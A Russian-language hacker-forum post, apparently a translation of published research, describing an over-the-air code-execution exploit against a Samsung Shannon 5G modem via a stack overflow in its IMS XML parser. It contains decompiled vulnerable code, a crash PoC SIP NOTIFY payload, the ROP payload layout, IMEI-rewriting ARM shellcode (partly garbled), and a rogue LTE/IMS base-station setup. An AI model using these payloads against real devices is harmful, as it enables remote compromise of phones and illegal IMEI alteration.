• XSS.stack #1 – первый литературный журнал от юзеров форума

GSM Взлом 5G-смартфонов по воздуху: RCE через уязвимость в модеме

tenac1ous

Shellcode
Модератор
Регистрация
22.01.2023
Сообщения
169
Реакции
224
Вступление:
В последние годы мы стали свидетелями широкого внедрения сетей 5G, как для потребительских устройств, так и для IoT и критически важной инфраструктуры. Количество устройств, подключённых к сетям 5G, оценивается по-разному, но в любом случае речь идёт о гигантских числах. Каждый из этих устройств, чтобы присоединиться к сети, должен быть оснащён 5G-модемом, который отвечает за модуляцию сигнала и реализацию радиопротоколов. Этот компонент также часто называют "baseband". Обеспечение безопасности этих компонентов крайне важно, так как они обрабатывают непроверенные данные из радиосети, делая их лакомой целью для удалённых атак. В этой статье мы посмотрим, что изменилось, что улучшилось, а что осталось по-старому. Я продемонстрирую, что до сих пор возможно полностью взломать модем "по воздуху", специально отыскав уязвимость в 5G-стеке и эксплуатировав её, чтобы получить удалённое выполнение кода на смартфоне с 5G. Технологии развиваются, а дыры в безопасности – остаются. Разве это не мило, что даже с новой технологией старые привычки всё ещё работают?

1.) Подготовка и методология исследования:
Вот ключевые этапы и цели нашего исследования:
  • Идентификация целей: Были приобретены основные устройства с поддержкой 5G, доступные на момент проведения исследования.
  • Объём работы: Задача заключалась в поиске подходящей уязвимости в компоненте 5G, которую можно удалённо и надёжно эксплуатировать для выполнения кода на устройстве.
  • Реализация: Способ должен активировать обнаруженную уязвимость без доступа к коммерческим 5G-базовым станциям, так как для подобной реализации бюджет бы просто не потянул нашу затею. На момент проведения исследования ни один из существующих проектов с открытым исходным кодом для базовых станций 5G не был использован.
Как видите, задача была не легкой: отсутствие подходящей инфраструктуры требовало нестандартного подхода. Но в то же время это и вдохновляло, так как работа з минимальными ресурсами, требует определенного уровня энтузиазма и квадратизма головы.

2.) Идентификация цели:
Было приобретено несколько потребительских смартфонов с поддержкой 5G, доступных на момент исследования. Все устройства, которые мы купили, поддерживали как минимум так называемое "New Radio" 5G.

Важно провести различие между типами устройств 5G:
  • Non-Standalone (NSA): Этот режим сочетает в себе 5G с компонентами сети 4G (обратная совместимость и все такое).
  • Standalone (SA): Этот режим полностью реализует и использует 5G и спецификацию 5G сети.
Учитывая, что режим Standalone (SA) станет стандартом в будущем, было решенно сосредоточиться именно на этом режиме.

Устройством для наших безбожных эксперементов стал Vivo S6 5G, смартфон, работающий в режиме Standalone 5G.
 Vivo S6 5G [Public domain], via GSMArena (https://www.gsmarena.com/vivo_s6_ 5g-10151.php).

Это устройство оснащено чипсетом Exynos 980 и использует модуль Samsung Shannon. Модем работает на собственном ПО, с использованием реального времени операционной системы, и выполняется на отдельном ядре ARM Cortex, независимо от процессора приложений (AP), на котором работает Android. Процессор AP и модуль могут, взаимодействовать через PCI-e, совместную память или другими способами.

Была извлеченна прошивку модема из полного OTA-образа устройства. Прошивка модема содержится в бинарном файле modem.bin. После распаковки и нахождения адресов загрузки мы можем загрузить файл в IDA Pro и начать искать уязвимости. Самая интересная задача, как всегда – это не просто взломать, а именно разгадать, как все устроенно.

5.) Аудит и обнаруженые дыры:
После некоторого времени, проведённого за аудитом кода, связанного с 5G, было обнаружено несколько интересных уязвимостей. Благодаря их большому количеству, Была выбранна одна, которая оказалась не только стабильной, но и весьма забавной.

При аудите прошивки модема было быстро замеченно, что в ней по-прежнему отсутствуют stack cookies.
Stack cookies — это мера защиты, направленная на предотвращение эксплуатации переполнения буфера в стеке,
путём вставки «magic cookie» перед критической информацией в стеке. Этот «cookie»
проверяется перед возвратом из функции, с целью обнаружить, произошёл ли переполнение.
Это сделало эксплуатацию уязвимости проще, особенно учитывая отсутствие возможностей для нормальной отладки в данной среде. Но я в очередной раз убедился что все новое - это хорошо забытое старое, и принцип работы уязвимостей не меняется, меняются только костыли з которыми стоит столкнутся при их поиске.

Как вы уже могли догадаться, уязвимость, которая была выбранна для достижения RCE, — это переполнение стека.
Но интересная часть заключается в том, что это не просто обычый buffer overflow, а переполнение стека в XML-парсере внутри модема. Этот XML-парсер отвечает за разбор IMS-сообщений, поступающих от сети к модему устройства.

IMS (IP Multimedia Subsystem) — это архитектура для сетей 4G и 5G, на основе которой строится интерактивная связь. Модем является клиентом IMS и отвечает за обработку сообщений VoLTE и VoNR, поэтому он должнен уметь обрабатывать SIP-сообщения, которые поступают з IMS-сервера для связи з последним.

Пример сообщения INVITE:
HTTP:
INVITE sip:bob@biloxi.example.com SIP/2.0
Via: SIP/2.0/TCP client.atlanta.example.com:5060;branch=z9hG4bK74bf9
Max-Forwards: 70
From: Alice <sip:alice@atlanta.example.com>;tag=9fxced76sl
To: Bob <sip:bob@biloxi.example.com>
Call-ID: 3848276298220188511@atlanta.example.com
CSeq: 1 INVITE
Contact: <sip:alice@client.atlanta.example.com;transport=tcp>
Content-Type: application/sdpВОт
Content-Length: 151

v=0
o=alice 28908445262890844 IN IP4 client.atlanta.example.com
s=-
c=IN IP4 192.0.2.101
t=0 0
m=audio 49172 RTP/AVP 0
a=rtpmap:0 PCMUL/8000

SIP — это текстовый протокол, похожий на HTTP, включая headers и content. Получатель (в данном случае модем телефона) должен разобрать и обработать сообщение от сервера. Для различных сообщений содержимое может быть не только парами ключ-значение, но и также текстом в формате XML, который гораздо более сложный формат данных, обычно обрабатываемый специализированной библиотекой. Всё вышеперечисленное дает хорошую идею на возможные векторы атак.

6.) Наконец то сама уязвимость:
Наша уязвимость удалённого выполнения кода через OTA находится в клиентской части IMS. При разборе XML-содержимого SIP-сообщения вызывается функция [B]IMSPL_XmlGetNextTagName[/B].
У данного модема отсутствуют отладочные символы и метаинформация, поэтому все имена функций, их типы и сигнатуры могут быть восстановлены либо вручную из строк журналов, либо методом обратного инжиниринга.
Вот и сам код функции который был успешно отреверсен:
C:
int IMSPL_XmlGetNextTagName(char *src, char *dst) {
    // 1. Игнорирование пробельных символов
    // 2. Поиск начального маркера '<'
    // 3. Пропуск комментариев и закрывающие теги
    // (пропущенный код)

    find_tag_end((char **)v13);
    v9 = v13[0];
 
    if (v8 != v13[0]) {
        // Копирование имя тега в буфер dst
        memcpy(dst, (int *)((char *)ptr + 1), v13[0] - v8);
        dst[v9 - v8] = 0; // Завершающий нуль-символ

        v12 = 10601;
        // Логирование: IMSPL_XmlGetNextTagName: Tagname =
        v11 = &log_struct_437f227c;
        Logs((int *)&v11, (int)dst, -1, -20071784);
     
        *(unsigned int8 **)src = v13[0];
        LOBYTE(result) = 1;
        return (unsigned int8)result;
    }

    // (пропущенный код)
}

Эта функция анализирует XML-тег из src и копирует его имя в dst. Например:
<meta name="viewport" content="width=device-width, initial-scale=1">
Результатом будет имя "meta", скопированное в целевой буфер.

Далее представлен декомпилированный код функции find_tag_end (имя выбрано произвольно) с объяснением её работы:
C:
char **find_tag_end(char **result) {
    char *i; // Указатель на текущий символ
    unsigned int cur_char; // Текущий символ

    for (i = *result;; ++i) {
        cur_char = (unsigned int8_t)*i;

        // Проверка на управляющие символы: \0, \t, \n, \r
        if (cur_char <= 0xD && ((1 << cur_char) & 0x2601) != 0) {
            break;
        }

        // Проверка на пробел или символы завершения тега: ' ', '/'
        if ((cur_char - 32) <= 0x1F &&
            ((1 << (cur_char - 32)) & (unsigned int)&unk_C0008001) != 0) {
            break;
        }
    }
    *result = i;

     return result;
}


Эта функция ищет конец XML-тега, пропуская специальные символы, такие как пробелы, /, >, ?. Изучив её работу, мы заметили полное отсутствие проверок безопасности. Функция никак не ограничивает размер буфера назначения, так же как и буфера источника. Это делает её вызовы уязвимыми для buffer overflow.
После перекрестной проверки с функцией IMSP_L_XmlGetNextTagName было обнаруженно сотни мест, где она вызывается. Большинство из этих вызовов уязвимы, потому что данные для исходного буфера поступают из OTA-сообщений, которые могут быть полностью контролируемы атакующим.

6.) Эксплуатация
Как правило уязвимости переполнение стека хороши из-за простоты эксплуатации и высокой надежности. Как уже упоминалось ранее, механизмов защиты, таких как "stack cookies", здесь просто нет. Поэтому мы можем просто переполнить буфер, захватить управление адресом возврата, который хранится в стеке, и получить возможность выполнения кода.

После очередного реверса кода было наконец хорошее место для внедрения уязвимости и ее дальнейшая эсплуатация в наших корыстных хакерских делах :) :
C:
int IMSPL_XmlParser_ContactLstDecode(int* a1, int* a2) {
    unsigned char* v4; // Указатель на данные XML, переданные в функцию (r0)
    int v5;             // Не используется, возможно, заглушка для другого аргумента (r1)
    log_info_s* v7;     // Указатель на структуру для логирования, передается в лог-функцию
    int v8;             // Переменная для хранения значения (используется для индексации)
    unsigned char* v9;  // Указатель на буфер для хранения XML-данных, полученных из входных данных
    int v10;            // Еще один буфер для работы с данными
    char v11[136];      // Буфер для хранения имени тега XML (136 символов)

    // Инициализация буфера для хранения имени тега (очищаем первые 100 байт)
    bzero(v11, 100);

    // Инициализация переменных
    v10 = 0; // Индикатор успешности или для других нужд, может быть использован позже
    v4 = (unsigned char*)*a1;  // Копирование указателя на данные из аргумента функции a1 в переменную v4
    v8 = 10597; // Инициализация переменной, возможно, это константа или счетчик для внутренних целей
    v9 = v4;     // Устанавливаем указатель v9 на те же данные, что и v4

    // Логируем начало работы функции
    v7 = &log_struct_4380937c;
    log_0x418ffa6c(&v7, "IMSPL_XmlParser_ContactLstDecode", -20071784);

    // Попытка получить следующий XML тег с помощью IMSPL_XmlGetNextTagName
    if (IMSPL_XmlGetNextTagName((char*)&v9, v11) != 1) {
        // Если тег не найден (функция возвращает значение, отличное от 1), переходим к следующему шагу
        LABEL_8:
        *a1 = (int)v9;  // Обновляем указатель a1 на новый адрес данных
        v8 = 10597;     // Восстанавливаем или обнуляем значение переменной v8
    }

    // Логируем завершение работы функции
    v7 = &log_struct_43809448;
    log_0x418ffa6c(&v7, -20071784);

    return 1;
}

Мы легко можем подтвердить, что переменная v11 — это буфер на стеке размером 100. Потенциальное переполнение стека может вполне быть тут реализуемо произойти здесь. Подобные проблемы были найдены в соседних функциях, таких как IMSPL_XmlParser_RegLstDecode, IMSPL_XmlParser_ContElemChildNodeDecode и другие. Судя по названию функции, можно сделать вывод, что триггерный тег должен находиться внутри элемента ContactList. Не трудно суммировать стеки вызовов, ссылаясь на вышеупомянутую функцию.
Код:
IMSPL_XmlParser_RegInfoDecode -> IMSPL_XmlParser_RegInfoElemDecode -> IMSPL_XmlParser_RegLstDecode -> IMSPL_XmlParser_RegistrationElemDecode -> IMSPL_XmlParser_ContactLstDecode

Эти имена функций легко понять. Мы быстро можем определить, что некорректная полезная нагрузка может быть передана с помощью сообщения NOTIFY в протоколе SIP. Простой пример (PoC) можно создать из обычного сообщения NOTIFY, чтобы вызвать сбой модуля.

Поскольку полезная нагрузка передается в формате XML, возникает ограничение для самой полезной нагрузки. Помните функцию find_tag_end, упомянутую выше? Она блокирует следующие символы в имени тега: " \x00 \x09 \x0A \x0D \x20 \x2F \x3E \x3F ". Следовательно, мы не можем использовать все эти символы при написании цепочек ROP и шеллкода.

Остается только задача для взлома на ARM.

7.) Полезная нагрузка
Вот пример crash PoC, который приведет к повреждению стека в функции IMSPL_XmlParser_RegLstDecode:
HTTP:
1 NOTIFY sip:4044566666666666666@192.168.101.2:5060 SIP/2.0
2 Via: SIP/2.0/TCP 172.18.0.12;branch=z9hG4bK5829.b8e4601b3f6e281818a8a78dae5112.0
3 Via: SIP/2.0/UDP 172.18.0.14:6060;branch=z9hG4bK5829.c1534326000000000000000000000000000000000000.0
4 To: <sip:6666666>;tag=31f5ed9f
5 From: <sip:@6666666>;tag=facfaba04ffdc638bb119e5faba08da6-53a200000
6 CSeq: 4 NOTIFY
7 Call-ID: 85bcaa29686a87fe@192.168.101.2
8 Content-Length: 1719
9 User-Agent: KamailioS-CSCF
10 Contact: <sip:scscf.ims.mnc045.mcc404.3gppnetwork.org:6060>
11 Event: reg
12 Max-Forwards: 69
13 Subscription-State: active;expires=600000
Content-Type: application/reginfo+xml
 <?xml version="1.0"?>
 <reginfo xmlns="urn:ietf:params:xml:ns:reginfo" version="2" state="full">
 <registration aor="tel:666666" id="0x7f970dea8570" state="active">
 <contactid="0x7f970dea7710" state="active" event="registered" expires="599996" q="0.000">
 <uri>sip:40445666666666666@192.168.101.2:5060;alias=192.168.101.2~49214~2</uri>
 <unknown-param name="+sip.instance">&lt;urn:gsma:imei:86044804970539-0&gt;</unknown-param>
 <unknown-param name="+g.3gpp.smsip"></unknown-param>
 <unknown-param name="video"></unknown-param>
 <unknown-param name="+g.3gpp.icsi-ref">urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel</unknown-param>
 </contact>
 </registration>
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA>test
payload</AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>
 </reginfo>

Чтобы избежать проблем с восстановлением стека и сохранить работу модуля после выполнения ROP, лучше выбрать глубокое место для вызова переполнения стека. Таким образом, элемент внутри тега registration является хорошим выбором.
HTTP:
<?xmlversion=”1.0”?>
<reginfoxmlns=”urn:ietf:params:xml:ns:reginfo”version=”2”state=”full”>
<registrationaor=”tel:666666”id=”0x7fe072423570”state=”active”>
<contactid=”0x7fe072422710”state=”active”event=”registered”expires=”599996”
q=”0.000”>↪
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA⌋
AAAAAAAAAAAAAAAAAAAAAA1ABC2ABC3ABC4ABC5ABC6ABC7ABC8ABCRop-chain-starts-here⌋
>test</haha
</contact>
</registration>
</reginfo>

Вот структура полезной нагрузки:
Перевод:  Полезная нагрузка начинается с 100 байтов 'A', за которыми следуют сохраненные регистры R4-R11 в стеке. Затем идет реальная цепочка ROP для копирования шеллкода из стека и, наконец, переход к шеллкоду.


8.) Визуальная демонстрация эксплойта:
Для проверки того, что мы успешно выполнили удаленный код (RCE) на целевом устройстве, можно проверить ADB логи телефона. Они покажут информацию о том, как срабатывает сбой в работе сотового процессора (CP). Однако это не самый удобный способ и он дает посредственную демонстрацию, поэтому для хлеба и зрелищ было решенно изменить IMEI устройства, выполняя шеллкод внутри самого модема.

Дизайн самого IMEI подразумевает что он не должен изменяться после того, как телефон был определен и идентифицирован. IMEI — это элемент, хранящийся в NVRAM модуля, но для изменения его значения необходимо сначала узнать его индекс. NVRAM — это Неволатильная память, где хранятся константы, связанные с модемом.
C:
int* IMSSHH_GetIme(int a1) {
  int v2; // r3
  log_info_s* v4; // [sp+0h] [bp-28h] BYREF
  int v5; // [sp+8h] [bp-20h] BYREF
  int v6; // [sp+Ch] [bp-1Ch]
  int v7; // [sp+10h] [bp-18h]
 
  LOBYTE(v7) = 0;
  v5 = 0;
  v6 = 0;
 
  if (unk_4469AD84 == 1)
    GetIme_2((char*)&v5);
  else
    GetIme_1((char*)&v5);
 
  sub_40F38AC(&v5, a1);
  v2 = 272681;
 
  // [IMSSHH_GetIme] IMEI
  v4 = &log_struct_4343c6cc;
 
  if (unk_4469AD84 < 2u)
    v2 = ((unk_4469AD84 << 18) + 0x400000) | 0x2929;
 
  return DumpHex((int*)&v4, a1, -1, -20071784, v4, v2, v5, v6, v7);
}

Есть несколько мест в модеме, которые вызывают функцию для получения IMEI. Индекс можно получить, анализируя функции Get_Imei_[1 2]. В нашем случае индексы для IMEI1/2 — это 0x39a4/0x39a5.
Зная индекс, мы можем изменить IMEI в шеллкоде, вызвав API pal_RegItemWrite_File.

Пример шеллкода:
C:
eors r0, r0
mov wr0, 0x39a4  ; index
mov wr1, 0x4444

9.) Исполнение атаки
movt wr1, 0x4646  ; string ptr
mov wr3, 0x4242
movt wr3, 0x4242  ; string content
str r3, [r1]
str r3, [r1, 4]
str r3, [r1, 8]  ; copy string
mov wr2, 0x4444
movt wr2, 0x4646  ; string ptr

mov wr4, 0x5e28
movt wr4, 0x4547
str br4, [r4]  ; enable flag, any value except 0

mov wr4, 0x166d
movt wr4, 0x4196
bl x r4  ; call pal_RegItemWrite_File

9.) Исполнение атаки
Для того чтобы вызвать и проэскплуатировать ошибку, необходимо сначала запустить сеть, в которой есть IMS-сервисы, а затем отправить неправильно сформированное текстовое сообщение в модем на телефоне.

Для нашего тестового окружения требуется как минимум сеть LTE. Несмотря на то что это технически уязвимость, влияющая как на 4G, так и на 5G, к началу 2020 года инфраструктура 5G еще не была завершена, чтобы поддерживать независимых исследователей, таких как мы, тестирующих ее безопасность. Мы приняли решение настроить сеть LTE с поддержкой VoLTE для тестирования устройства. В качестве оборудования для базовой станции был выбран Ettus USRP B210, как золотой стандарт для подобных задач.

1734540293727.png

SDR (Software Defined Radio) — это программно-определяемое радио, которое обычно содержит программируемую FPGA и аналоговую часть для модуляции и демодуляции сигнала. Это железка отвечает за передачу и прием сигналов по воздуху при настройке базовой станции.
Для тестирования были использованы открытые аппаратные и программные компоненты:
  • srsENB: реализация eNodeB из srsLTE, обеспечивающая связь с мобильными устройствами.
  • Open5GS: реализация EPC, включающая HSS, MME, PCRF, PGW, SGW.
  • sysmo-usim-tool & pysim: инструменты для программирования SIM-карт.
  • CoIMS & CoIMS_Wiki: инструменты для изменения настроек IMS на телефоне.
  • docker_open5gs: Docker-файлы для запуска Open5GS с поддержкой VoLTE в контейнере.
После настройки LTE-сети UE смогло подключиться к сети. Это позволило приступить к настройке IMS-сервера.

Тестирование показало, что большинство модулей baseband от различных производителей чрезвычайно чувствительны к частоте eNodeB. Для успешного подключения необходимо выбирать подходящий EARFCN (цифровой канал). Например, для Samsung Galaxy S9 использовался DL-EARFCN 1825, а для Vivo S6 5G — 1575.
Screenshot 2024-12-18 at 11-55-16 Over The Air Baseband Exploit Gaining Remote Code Execution ...png


Настройка IMS-сервера и уязвимость
Уязвимость может быть воспроизведена только через вредоносный IMS-сервер, предоставляющий VoIP-услуги. Для этого БС-ки LTE недостаточно. Была использована существующая открытая реализация Kamailio. Однако её настройка и успешная доставка полезной нагрузки потребовали значительных усилий.

Основные компоненты VoLTE-сервера:
  • Rtpengine, FHOSS, P-CSCF, I-CSCF, S-CSCF.
Код:
SUBNET=172.18.0.0/24
HSS_IP=172.18.0.2
MME_IP=172.18.0.3
SGW_IP=172.18.0.4
PGW_IP=172.18.0.5 
PCRF_IP=172.18.0.6
ENB_IP=172.18.0.7
DNS_IP=172.18.0.10
MONGO_IP=172.18.0.11
PCSCF_IP=172.18.0.12
ICSCF_IP=172.18.0.13
SCSCF_IP=172.18.0.14
FHOSS_IP=172.18.0.15 
MYSQL_IP=172.18.0.17
RTPENGINE_IP=172.18.0.18
1734542909639.png


Сообщения IMS (SIP) передаются в виде IP-данных через TCP или UDP-сокеты. Поэтому клиенты предпочитают использовать защиту на уровне IP (IPSec) для транзакций IMS/SIP. XML-полезная нагрузка может быть передана только через сообщение NOTIFY, поэтому наш клиент должен успешно выполнить операции REGISTER и SUBSCRIBE. После первоначальной настройки мы смогли подключиться к VoLTE-сервису с нескольких устройств, например, OnePlus 6 (без IPSec) и Google Pixel 3 (с IPSec), что подтверждает работоспособность системы на модемах Qualcomm. Однако на устройствах Samsung процесс регистрации не завершается успешно.
1734543023517.png

Устройства успешно регистрировались в VoLTE с использованием обычной SIM-карты от местных операторов, что внушило надежду на взлом конфигураций и кода Kamailio. Первым шагом было захватить трафик успешной регистрации на телефоне. К счастью, в утилите Sysdump от Samsung есть встроенный инструмент для отладки IMS под названием IMS Logger, который позволил нам просматривать IMS-трафик через приложение [13]. Далее приведены стандартные сообщения регистрации и их ответы:
1000003487.png


1734543599818.png

1734543683932.png



Анализ и модификация Kamailio
Было обнаружено несколько различий между Kamailio и локальным оператором связи, неясно, какое именно поле вызывает сбой регистрации. Для устранения проблемы настройки Kamailio были максимально приближены к конфигурациям оператора. После внесения изменений Kamailio удалось добиться небольшого прогресса: сервер начал получать второе сообщение регистрации. Однако возникла новая проблема — сервер не отправлял ответ с кодом состояния 200.
1734543865546.png


IPSec и его отключение
Было выявлено, что IPSec между сервером и клиентом работает некорректно. Чтобы устранить проблему, IPSec был принудительно отключен на стороне сервера. Для этого были применены следующие патчи:
1734544045517.png

1734544078625.png


После отключения IPSec удалось успешно зарегистрировать устройство и подписаться на сервер SIP. Теперь сервер отправляет сообщение NOTIFY с основными данными о сети, такими как контакты других устройств (UEs). Полезная нагрузка (payload) в формате XML содержится в этом сообщении.

Модификация полезной нагрузки
Для генерации произвольного содержимого полезной нагрузки была модифицирована функция генерации XML в компоненте S-CSCF. Вот пример функции, отвечающей за создание содержимого XML:
C:
/**
 * Creates the full registration info XML.
 * @param pv - the public to create for
 * @param event_type - event type
 * @param subsExpires - subscription expiration
 * @return the string with the XML content
 * If it's a new subscription, we do things like subscribe to updates on IMPU, etc.
 */
str generate_reg_info_full(udomain_t* t, str* impu_list, int num_impus, str explit_dereg_contact, int num_explit_dereg_contact, unsigned int reg_info_version);


Выводы
Исследование продемонстрировало текущий уровень безопасности базовых модемов 5G используемых в Android-устройствах следующих поколений. Несмотря на развитие сетевых технологий, значительного прогресса в обеспечении безопасности базовых станций пока не наблюдается.
Многие модемы не имеют даже базовых мер защиты, таких как защитные куки стека (stack cookies), что позволяет использовать простые атаки, например, переполнение буфера (buffer overflow) для их компрометации.
Исследование показало необходимость более серьезного подхода к безопасности базовых станций со стороны производителей.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Спасибо большое за качественный перевод статьи "Over The Air Baseband Exploit: Gaining Remote Code Execution on 5G Smartphones" (авторы Marco Grassi, Xingyu Chen)!
Оригинал залил сюда
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх